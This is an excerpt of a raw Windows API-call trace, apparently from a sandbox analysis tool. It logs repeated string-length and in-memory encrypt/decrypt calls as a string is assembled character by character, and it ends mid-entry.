SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x5ec5\x5c62\xd2a3\xcc0\x140a\x6d95\x7c26\x9fa8") returned 0x18 [0133.234] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x5ec5\x5c62\xd2a3\xcc0\x140a\x6d95\x7c26\x9fa8") returned 0x18 [0133.234] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.234] SysStringLen (param_1="Y90y+UaWufi0l/VWrt1xk蹐ₒ馂") returned 0x18 [0133.234] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.234] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x73de\x50bb\x81f6\x804\xd58e\xa73a\x8df\x42a5") returned 0x18 [0133.234] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x73de\x50bb\x81f6\x804\xd58e\xa73a\x8df\x42a5") returned 0x18 [0133.234] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.234] SysStringLen (param_1="Y90y+UaWufi0l/VWrt1xkPₒ馂") returned 0x18 [0133.234] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.234] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x8bd3\x8d4f\x8ed2\xe0ea\x7248\xa8b0\xc677\xab28") returned 0x18 [0133.234] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x8bd3\x8d4f\x8ed2\xe0ea\x7248\xa8b0\xc677\xab28") returned 0x18 [0133.234] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.234] SysStringLen (param_1="Y90y+UaWufi0l/VWrt1xkPS馂") returned 0x18 [0133.234] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.234] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\xf12e\x6be6\xdb9e\x2ae5\x51a7\x10bf\x74f8\x32b0") returned 0x18 [0133.234] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\xf12e\x6be6\xdb9e\x2ae5\x51a7\x10bf\x74f8\x32b0") returned 0x18 [0133.234] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.234] SysStringLen (param_1="Y90y+UaWufi0l/VWrt1xkPSl") returned 0x18 [0133.235] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0133.235] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c") returned 0x18 [0133.235] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c") returned 0x18 [0133.235] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c") returned 0x18 [0133.235] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c") returned 0x20 [0133.235] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.235] SysStringLen (param_1="Y90y+UaWufi0l/VWrt1xkPSlr㸇猪齕ꕈ텺貿") returned 0x20 [0133.235] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.235] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\x7ac0\x4d5d\xb4b0\xba27\xcfc0\x170b\x144d\xc8ab") returned 0x20 [0133.235] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\x7ac0\x4d5d\xb4b0\xba27\xcfc0\x170b\x144d\xc8ab") returned 0x20 [0133.235] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.235] SysStringLen (param_1="Y90y+UaWufi0l/VWrt1xkPSlrr猪齕ꕈ텺貿") returned 0x20 [0133.235] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.235] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\x1cb5\x63b6\x7573\x24b9\x58ba\x8ef1\x6c63\x1215") returned 0x20 [0133.235] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\x1cb5\x63b6\x7573\x24b9\x58ba\x8ef1\x6c63\x1215") returned 0x20 [0133.235] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.235] SysStringLen (param_1="Y90y+UaWufi0l/VWrt1xkPSlrrv齕ꕈ텺貿") returned 0x20 [0133.235] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.236] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\xabbf\x3a53\x36c2\x5d1c\x6099\x7dcd\x1647\x2040") returned 0x20 [0133.236] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\xabbf\x3a53\x36c2\x5d1c\x6099\x7dcd\x1647\x2040") returned 0x20 [0133.236] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.236] SysStringLen (param_1="Y90y+UaWufi0l/VWrt1xkPSlrrvOꕈ텺貿") returned 0x20 [0133.236] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.236] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\x47cd\x9a29\x5539\x8c5d\xba36\x9571\xdad\xc871") returned 0x20 [0133.236] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\x47cd\x9a29\x5539\x8c5d\xba36\x9571\xdad\xc871") returned 0x20 [0133.236] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.236] SysStringLen (param_1="Y90y+UaWufi0l/VWrt1xkPSlrrvOVꕈ텺貿") returned 0x20 [0133.236] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.236] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\x4b48\xb5bd\xc807\xf52b\xc790\xafe1\x1814\x173a") returned 0x20 [0133.236] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\x4b48\xb5bd\xc807\xf52b\xc790\xafe1\x1814\x173a") returned 0x20 [0133.236] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.236] SysStringLen (param_1="Y90y+UaWufi0l/VWrt1xkPSlrrvOVr텺貿") returned 0x20 [0133.236] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.236] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\x1ebc\x4ec1\x46dc\x9a94\xea42\x21dc\x4ba7\x263d") returned 0x20 [0133.236] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\x1ebc\x4ec1\x46dc\x9a94\xea42\x21dc\x4ba7\x263d") returned 0x20 [0133.236] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.236] SysStringLen (param_1="Y90y+UaWufi0l/VWrt1xkPSlrrvOVrF貿") returned 0x20 [0133.236] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.236] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\xbd4\x661c\x3308\x9284\x1258\xade6\xe770\xca77") returned 0x20 [0133.237] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\xbd4\x661c\x3308\x9284\x1258\xade6\xe770\xca77") returned 0x20 [0133.237] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.237] SysStringLen (param_1="Y90y+UaWufi0l/VWrt1xkPSlrrvOVrFY") returned 0x20 [0133.237] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0133.237] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\x379b\x6a6d\x7cd7\xcc34\x339f\x6dd2\xaff9\xde73") returned 0x20 [0133.237] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\x379b\x6a6d\x7cd7\xcc34\x339f\x6dd2\xaff9\xde73") returned 0x20 [0133.237] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\x379b\x6a6d\x7cd7\xcc34\x339f\x6dd2\xaff9\xde73") returned 0x20 [0133.237] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\x379b\x6a6d\x7cd7\xcc34\x339f\x6dd2\xaff9\xde73\xd5d") returned 0x28 [0133.237] SystemFunction041 (in: Memory=0x4383714, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383714) returned 0x0 [0133.237] SysStringLen (param_1="Y90y+UaWufi0l/VWrt1xkPSlrrvOVrFYe흑㺠샫䚄䥹ᾑ") returned 0x28 [0133.237] SystemFunction040 (in: Memory=0x4383714, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383714) returned 0x0 [0133.237] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\x379b\x6a6d\x7cd7\xcc34\x339f\x6dd2\xaff9\xde73\x31b3\x3fbc\xd7d3\xa1b7\xaeb6\xcdf6\xc252\xfe06") returned 0x28 [0133.237] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\x379b\x6a6d\x7cd7\xcc34\x339f\x6dd2\xaff9\xde73\x31b3\x3fbc\xd7d3\xa1b7\xaeb6\xcdf6\xc252\xfe06") returned 0x28 [0133.237] SystemFunction041 (in: Memory=0x4383714, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383714) returned 0x0 [0133.237] SysStringLen (param_1="Y90y+UaWufi0l/VWrt1xkPSlrrvOVrFYed흑㺠샫䚄䥹ᾑ") returned 0x28 [0133.237] SystemFunction040 (in: Memory=0x4383714, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383714) returned 0x0 [0133.237] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\x379b\x6a6d\x7cd7\xcc34\x339f\x6dd2\xaff9\xde73\x7215\xcbce\x8f84\x5ecf\x1145\x9009\xdf0d\x3de5") returned 0x28 [0133.237] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\x379b\x6a6d\x7cd7\xcc34\x339f\x6dd2\xaff9\xde73\x7215\xcbce\x8f84\x5ecf\x1145\x9009\xdf0d\x3de5") returned 0x28 [0133.237] SystemFunction041 (in: Memory=0x4383714, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383714) returned 0x0 [0133.237] SysStringLen (param_1="Y90y+UaWufi0l/VWrt1xkPSlrrvOVrFYedX㺠샫䚄䥹ᾑ") returned 0x28 [0133.237] SystemFunction040 (in: Memory=0x4383714, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383714) returned 0x0 [0133.238] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\x379b\x6a6d\x7cd7\xcc34\x339f\x6dd2\xaff9\xde73\x6264\xcda3\x1f84\x2abb\x54c9\xa013\x28e2\xfdc4") returned 0x28 [0133.238] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\x379b\x6a6d\x7cd7\xcc34\x339f\x6dd2\xaff9\xde73\x6264\xcda3\x1f84\x2abb\x54c9\xa013\x28e2\xfdc4") returned 0x28 [0133.238] SystemFunction041 (in: Memory=0x4383714, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383714) returned 0x0 [0133.238] SysStringLen (param_1="Y90y+UaWufi0l/VWrt1xkPSlrrvOVrFYedXE샫䚄䥹ᾑ") returned 0x28 [0133.238] SystemFunction040 (in: Memory=0x4383714, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383714) returned 0x0 [0133.238] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\x379b\x6a6d\x7cd7\xcc34\x339f\x6dd2\xaff9\xde73\x2dc5\x1fe7\xe99b\xebb\x4a95\x327c\x6bc7\xb407") returned 0x28 [0133.238] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\x379b\x6a6d\x7cd7\xcc34\x339f\x6dd2\xaff9\xde73\x2dc5\x1fe7\xe99b\xebb\x4a95\x327c\x6bc7\xb407") returned 0x28 [0133.238] SystemFunction041 (in: Memory=0x4383714, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383714) returned 0x0 [0133.238] SysStringLen (param_1="Y90y+UaWufi0l/VWrt1xkPSlrrvOVrFYedXEz䚄䥹ᾑ") returned 0x28 [0133.238] SystemFunction040 (in: Memory=0x4383714, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383714) returned 0x0 [0133.238] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\x379b\x6a6d\x7cd7\xcc34\x339f\x6dd2\xaff9\xde73\x52cd\x711b\xbf69\x4b11\x91b6\xd2e0\x358b\x8e0c") returned 0x28 [0133.238] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\x379b\x6a6d\x7cd7\xcc34\x339f\x6dd2\xaff9\xde73\x52cd\x711b\xbf69\x4b11\x91b6\xd2e0\x358b\x8e0c") returned 0x28 [0133.238] SystemFunction041 (in: Memory=0x4383714, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383714) returned 0x0 [0133.238] SysStringLen (param_1="Y90y+UaWufi0l/VWrt1xkPSlrrvOVrFYedXEzR䥹ᾑ") returned 0x28 [0133.238] SystemFunction040 (in: Memory=0x4383714, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383714) returned 0x0 [0133.238] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\x379b\x6a6d\x7cd7\xcc34\x339f\x6dd2\xaff9\xde73\x2572\xe9fb\x406b\x4144\x9c5c\xb445\x9e47\xf72c") returned 0x28 [0133.238] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\x379b\x6a6d\x7cd7\xcc34\x339f\x6dd2\xaff9\xde73\x2572\xe9fb\x406b\x4144\x9c5c\xb445\x9e47\xf72c") returned 0x28 [0133.238] SystemFunction041 (in: Memory=0x4383714, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383714) returned 0x0 [0133.238] SysStringLen (param_1="Y90y+UaWufi0l/VWrt1xkPSlrrvOVrFYedXEzRbᾑ") returned 0x28 [0133.238] SystemFunction040 (in: Memory=0x4383714, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383714) returned 0x0 [0133.238] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\x379b\x6a6d\x7cd7\xcc34\x339f\x6dd2\xaff9\xde73\x20ed\x7a40\x354f\xbb9e\x14db\x882b\xc386\xb932") returned 0x28 [0133.238] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\x379b\x6a6d\x7cd7\xcc34\x339f\x6dd2\xaff9\xde73\x20ed\x7a40\x354f\xbb9e\x14db\x882b\xc386\xb932") returned 0x28 [0133.238] SystemFunction041 (in: Memory=0x4383714, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383714) returned 0x0 [0133.238] SysStringLen (param_1="Y90y+UaWufi0l/VWrt1xkPSlrrvOVrFYedXEzRbX") returned 0x28 [0133.238] SystemFunction040 (in: Memory=0x4383714, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x4383714) returned 0x0 [0133.239] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\x379b\x6a6d\x7cd7\xcc34\x339f\x6dd2\xaff9\xde73\xd17e\xc2a8\xa337\x9de3\xf6bf\x7846\x7af3\x347b") returned 0x28 [0133.239] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\x379b\x6a6d\x7cd7\xcc34\x339f\x6dd2\xaff9\xde73\xd17e\xc2a8\xa337\x9de3\xf6bf\x7846\x7af3\x347b") returned 0x28 [0133.239] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\x379b\x6a6d\x7cd7\xcc34\x339f\x6dd2\xaff9\xde73\xd17e\xc2a8\xa337\x9de3\xf6bf\x7846\x7af3\x347b") returned 0x28 [0133.239] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\x379b\x6a6d\x7cd7\xcc34\x339f\x6dd2\xaff9\xde73\xd17e\xc2a8\xa337\x9de3\xf6bf\x7846\x7af3\x347b\x46\x4c\x79\x42\x63\x76\x62\x53") returned 0x30 [0133.239] SystemFunction041 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0133.239] SysStringLen (param_1="Y90y+UaWufi0l/VWrt1xkPSlrrvOVrFYedXEzRbXwﻧᏻ䡟孜Ⲿɀ렩") returned 0x30 [0133.239] SystemFunction040 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0133.239] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\x379b\x6a6d\x7cd7\xcc34\x339f\x6dd2\xaff9\xde73\xd17e\xc2a8\xa337\x9de3\xf6bf\x7846\x7af3\x347b\x44cf\x25e0\x4d0\x7be4\x1dba\x7460\xa398\x31b9") returned 0x30 [0133.239] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\x379b\x6a6d\x7cd7\xcc34\x339f\x6dd2\xaff9\xde73\xd17e\xc2a8\xa337\x9de3\xf6bf\x7846\x7af3\x347b\x44cf\x25e0\x4d0\x7be4\x1dba\x7460\xa398\x31b9") returned 0x30 [0133.239] SystemFunction041 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0133.239] SysStringLen (param_1="Y90y+UaWufi0l/VWrt1xkPSlrrvOVrFYedXEzRbXwwᏻ䡟孜Ⲿɀ렩") returned 0x30 [0133.239] SystemFunction040 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0133.239] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\x379b\x6a6d\x7cd7\xcc34\x339f\x6dd2\xaff9\xde73\xd17e\xc2a8\xa337\x9de3\xf6bf\x7846\x7af3\x347b\xda22\x81a1\x6e54\xe20\x8dfe\x2fec\x1810\x786d") returned 0x30 [0133.239] SysStringLen (param_1="\x74ea\xa779\xbb77\x71a3\xe4e\x378c\x1069\x5d3c\xda1b\x799e\xbd19\xf7e9\x83b8\x9ac5\x6569\xa951\x698d\x3e2d\x895e\x9e53\x19e5\xb1dd\x9481\xbc6c\x379b\x6a6d\x7cd7\xcc34\x339f\x6dd2\xaff9\xde73\xd17e\xc2a8\xa337\x9de3\xf6bf\x7846\x7af3\x347b\xda22\x81a1\x6e54\xe20\x8dfe\x2fec\x1810\x786d") returned 0x30 [0133.239] SystemFunction041 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0133.239] SysStringLen (param_1="Y90y+UaWufi0l/VWrt1xkPSlrrvOVrFYedXEzRbXwwY䡟孜Ⲿɀ렩") returned 0x30 [0133.239] SystemFunction040 (in: Memory=0x8e30b84, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e30b84) returned 0x0 [0133.239] SysStringLen 